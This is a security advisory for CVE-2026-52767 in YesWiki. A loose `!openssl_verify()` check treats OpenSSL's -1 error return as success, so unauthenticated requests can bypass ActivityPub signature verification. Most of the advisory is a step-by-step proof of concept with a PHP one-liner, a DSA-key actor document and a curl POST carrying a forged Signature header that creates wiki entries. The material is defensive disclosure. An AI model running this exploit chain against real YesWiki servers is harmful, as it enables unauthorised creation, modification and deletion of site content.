yeswiki/yeswiki
Affected
- introduced
4.6.2, fixed4.6.6(ecosystem)
Fixed versions
4.6.6
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-52767
YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via !openssl_verify(...) accepting int(-1)
SummaryHttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:
| return | meaning | !return |
| ------ | ------------------------------------------------ | --------- |
| 1 | signature is valid | false |
| 0 | signature is invalid | true ✓ |
| -1 | the verify call itself failed (internal error) | `false` ❌ |
| false| input rejected by PHP's argument validation | true ✓ |
The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.
The two practical paths to -1 we are aware of:
openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.-1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.
Details
Affected component
tools/bazar/services/HttpSignatureService.phpHttpSignatureService::verifySignature(Request $request)// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
... // [Signature parse,
// outbound key fetch — see the SSRF advisory]
$actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
...
if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK
join("\n", $sigParts),
base64_decode($sigConf['signature']),
$actorPublicKey,
strtoupper($sigConf['algorithm'])
)) {
throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1
}
if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy
}
}
The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.
End-to-end attack chain
A single unauthenticated POST per operation. No session, no CSRF, no real signature.
```json
{
"id": "<exact URL the server will GET>",
"publicKey": {
"id": "<same URL>",
"publicKeyPem": "<DSA public key in PEM form>"
}
}
```
POST /api/forms/{enabled-form-id}/actor/inbox: ```http
POST /?api/forms/2/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Date: <RFC1123 date>
Digest: SHA-256=<base64(sha256(body))>
Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="
{"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
"actor":"<actor URL>",
"object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}
```
openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.PoC
Pre Reqs
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"
PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.
podman exec "$CTR" php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'
Expected output:
openssl_verify returned: -1
!openssl_verify(...) is: false
Verify the listener is up and serving the DSA-key actor
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo
Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).
Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"' — created via the signature-verification bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'High Basis: The source's own band: HIGH
4.6.2, fixed 4.6.6 (ecosystem)4.6.6
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0